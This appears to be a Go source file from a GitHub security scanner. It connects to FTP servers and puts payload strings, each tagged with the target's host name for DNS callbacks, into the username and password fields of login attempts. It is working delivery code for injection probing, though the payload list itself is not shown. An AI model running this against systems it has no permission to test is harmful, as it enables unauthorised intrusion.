-
Notifications
You must be signed in to change notification settings - Fork 53
/
ftp.go
62 lines (54 loc) · 1.48 KB
/
ftp.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package main
import (
"fmt"
"math/rand"
"strings"
"sync"
"time"
"github.com/jlaffaye/ftp"
)
func (p *ProcJob) ProcessHostFTP(port string, wg *sync.WaitGroup) error {
var host string
if len(port) < 1 {
host = p.Host
} else {
host = fmt.Sprintf("%s:%s", p.Host, port)
}
defer wg.Done()
thisTime := time.Now()
fmt.Printf("\r%d/%02d/%02d %02d:%02d:%02d Total processed: %d | Current: %s | Protocol: %s",
thisTime.Year(), thisTime.Month(), thisTime.Day(), thisTime.Hour(),
thisTime.Minute(), thisTime.Second(), procCount, host, p.Protocol)
procCount++
var dynamicPayloads []string
sanitisedDnsName := strings.ReplaceAll(host, ".", "-")
sanitisedDnsName = strings.ReplaceAll(sanitisedDnsName, ":", "-")
sanitisedDnsName = strings.ReplaceAll(sanitisedDnsName, "/", "-")
for _, payload := range xload {
dynamicPayloads = append(dynamicPayloads, strings.ReplaceAll(payload, "$DNSNAME$", sanitisedDnsName))
}
xc := make(chan bool, 1)
go func() {
c, err := ftp.Dial(host, ftp.DialWithTimeout(3*time.Second))
if err != nil {
return
}
username := dynamicPayloads[rand.Intn(len(dynamicPayloads))]
password := dynamicPayloads[rand.Intn(len(dynamicPayloads))]
err = c.Login(username, password)
if err != nil {
return
}
if err = c.Quit(); err != nil {
return
}
xc <- true
}()
select {
case <-xc:
time.Sleep(time.Duration(delay) * time.Second)
return nil
case <-time.After(3 * time.Second):
return fmt.Errorf("timeout during ftp dial / login")
}
}